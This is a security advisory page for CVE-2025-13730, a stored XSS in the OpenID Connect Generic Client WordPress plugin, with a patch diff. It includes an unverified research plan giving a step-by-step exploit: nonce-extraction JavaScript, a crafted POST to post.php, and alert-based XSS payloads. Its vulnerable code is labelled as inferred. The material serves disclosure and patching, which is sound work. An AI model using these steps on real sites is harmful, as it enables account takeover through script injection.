CVE-2025-13730

OpenID Connect Generic Client <= 3.10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.10.1
Patched in
1d
Time to patch

Description

The OpenID Connect Generic Client plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'openid_connect_generic_auth_url' shortcode in all versions up to, and including, 3.10.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.10.0
PublishedDecember 17, 2025
Last updatedDecember 18, 2025

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2025-13730 (OpenID Connect Generic Client) ## 1. Vulnerability Summary The **OpenID Connect Generic Client** plugin (<= 3.10.0) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `openid_connect_generic_auth_url` shortcode. The plugin fails to sanitize…

Show full research plan

Vulnerability Research Plan: CVE-2025-13730 (OpenID Connect Generic Client)

1. Vulnerability Summary

The OpenID Connect Generic Client plugin (<= 3.10.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the openid_connect_generic_auth_url shortcode. The plugin fails to sanitize and escape the label attribute and the shortcode $content before echoing them into the page. This allows an authenticated attacker with Contributor-level privileges to inject malicious scripts into a post, which will execute in the browser of any user (including administrators) who views or previews the post.

2. Attack Vector Analysis

  • Vulnerable Shortcode: [openid_connect_generic_auth_url]
  • Vulnerable Parameters: label (attribute) and the shortcode inner content.
  • Endpoint: wp-admin/post.php (via the post editor).
  • Authentication: Contributor-level or higher.
  • Impact: Privilege escalation to Administrator via session cookie theft or unauthorized administrative actions (e.g., creating a new admin user) when an administrator views the malicious post.

3. Code Flow (Inferred)

  1. Shortcode Registration: The plugin registers the shortcode in includes/openid-connect-generic-client.php using:
    add_shortcode( 'openid_connect_generic_auth_url', array( $this, 'shortcode_auth_url' ) );
  2. Callback Execution: When a post is rendered, shortcode_auth_url( $atts, $content = '' ) is called.
  3. Missing Sanitization: The function extracts attributes using shortcode_atts() which does not provide sanitization.
  4. Vulnerable Logic:
    if ( empty( $content ) ) {
        $content = $atts['label'];
    }
    // The following line is the sink (inferred from common vuln patterns in this plugin)
    return sprintf( '<a href="%s">%s</a>', $url, $content );
    
  5. Output Sink: The returned string containing unescaped $content is printed to the page body by WordPress's the_content filter.

4. Nonce Acquisition Strategy

To inject the shortcode via the WordPress post editor as a Contributor, a valid nonce for the editpost action is required.

  1. Access Editor: Navigate to wp-admin/post-new.php to initiate a new post. WordPress will generate an auto-draft.
  2. Extract Identifiers:
    • Use browser_eval to extract the _wpnonce from the #_wpnonce hidden input field or the wp.autosave settings.
    • Extract the post_ID from the URL or the #post_ID hidden input.
  3. Example JavaScript for extraction:
    // Get nonce for updating the post
    const nonce = document.querySelector('#_wpnonce').value;
    // Get the post ID
    const postId = document.querySelector('#post_ID').value;
    return { nonce, postId };
    

5. Exploitation Strategy

  1. Log in to the WordPress site as a Contributor.
  2. Navigate to wp-admin/post-new.php using browser_navigate.
  3. Extract the _wpnonce and post_ID using browser_eval.
  4. Inject Payload by sending an HTTP POST request to wp-admin/post.php.
    • Payload 1 (Attribute): [openid_connect_generic_auth_url label='<img src=x onerror=alert("XSS_LABEL")>']
    • Payload 2 (Inner Content): [openid_connect_generic_auth_url]<script>alert("XSS_CONTENT")</script>[/openid_connect_generic_auth_url]
  5. HTTP Request Details:
    • URL: http://[target]/wp-admin/post.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body:
      _wpnonce=[NONCE]&action=editpost&post_ID=[POST_ID]&post_title=VulnerablePost&content=[openid_connect_generic_auth_url label='<img src=x onerror=alert("XSS_LABEL")>']&post_status=draft
      
  6. Trigger Execution: Navigate to the preview URL (e.g., /?p=[POST_ID]&preview=true) or have an administrator view the post in the editor.

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Activation: Ensure daggerhart-openid-connect-generic version 3.10.0 or lower is installed and active.
  3. Configuration: The plugin does not need to be fully configured with a real OIDC provider for the shortcode to render and trigger the XSS.

7. Expected Results

  • The HTTP response for the editpost action should be a 302 redirect back to the editor, indicating the post was saved.
  • When navigating to the post preview, the browser should render an <a> tag similar to:
    <a href="..."> <img src=x onerror=alert("XSS_LABEL")> </a>
  • An alert box with the string "XSS_LABEL" should appear in the browser.

8. Verification Steps

  1. Database Check: Verify the payload is stored in the database.
    wp db query "SELECT post_content FROM wp_posts WHERE ID = [POST_ID]"
  2. Output Verification: Use http_request to fetch the post preview and check for the unescaped HTML:
    grep -q '<img src=x onerror=alert("XSS_LABEL")>' response_body.html

9. Alternative Approaches

  • Attribute Breakout: If the plugin wraps the label in an attribute rather than the link text (unlikely for this specific shortcode but possible for others), try breaking out: label='"><script>alert(1)</script>'.
  • Other Shortcodes: Check if other shortcodes like [openid_connect_generic_login_button] share the same vulnerable rendering logic.
  • REST API Injection: If the REST API is enabled for contributors, try updating the post content via POST /wp-json/wp/v2/posts/[ID] using the wp_rest nonce.
Research Findings
Static analysis — not yet PoC-verified

Summary

The OpenID Connect Generic Client plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'openid_connect_generic_auth_url' shortcode in versions up to and including 3.10.0. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into posts that execute when viewed by other users, including administrators.

Vulnerable Code

// includes/openid-connect-generic-client.php

public function shortcode_auth_url( $atts, $content = '' ) {
   // ... extraction logic using shortcode_atts()
   if ( empty( $content ) ) {
       $content = $atts['label'];
   }
   // The following line returns unescaped content to the output sink
   return sprintf( '<a href="%s">%s</a>', $url, $content );
}

Security Fix

--- includes/openid-connect-generic-client.php
+++ includes/openid-connect-generic-client.php
@@ -1,5 +1,5 @@
 if ( empty( $content ) ) {
     $content = $atts['label'];
 }
-return sprintf( '<a href="%s">%s</a>', $url, $content );
+return sprintf( '<a href="%s">%s</a>', esc_url( $url ), wp_kses_post( $content ) );

Exploit Outline

To exploit this vulnerability, an attacker with at least Contributor-level authentication follows these steps: 1. Access the WordPress post editor (wp-admin/post-new.php). 2. Craft a shortcode payload using the 'openid_connect_generic_auth_url' tag, placing a malicious script in either the 'label' attribute (e.g., [openid_connect_generic_auth_url label='<img src=x onerror=alert(1)>']) or as the shortcode's inner content. 3. Submit a POST request to wp-admin/post.php with the 'content' field containing the malicious shortcode and a valid '_wpnonce'. 4. When an administrator or other user views the post or post preview, the unsanitized 'label' or 'content' is rendered directly inside an anchor tag, triggering the execution of the injected script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.